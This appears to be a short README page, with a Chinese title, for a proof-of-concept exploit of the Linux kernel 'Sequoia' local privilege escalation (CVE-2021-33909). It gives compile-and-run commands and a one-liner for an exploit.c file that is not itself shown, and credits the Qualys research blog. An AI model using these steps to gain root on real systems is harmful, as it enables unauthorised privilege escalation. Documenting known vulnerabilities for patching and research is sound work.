CVE-2021-33909 PoC — Linux kernel 输入验证错误漏洞

Description

Sequoia exploit (7/20/21)

介绍

# Sequoia (CVE-2021-33909)
## Building
```shell
gcc exploit.c -o exploit
```
## Running
```shell
chmod +x exploit
./exploit
```
## One-Liner
```shell
gcc exploit.c -o exploit;chmod +x exploit;./exploit
```
## Credits
https://blog.qualys.com/vulnerabilities-threat-research/2021/07/20/sequoia-a-local-privilege-escalation-vulnerability-in-linuxs-filesystem-layer-cve-2021-33909

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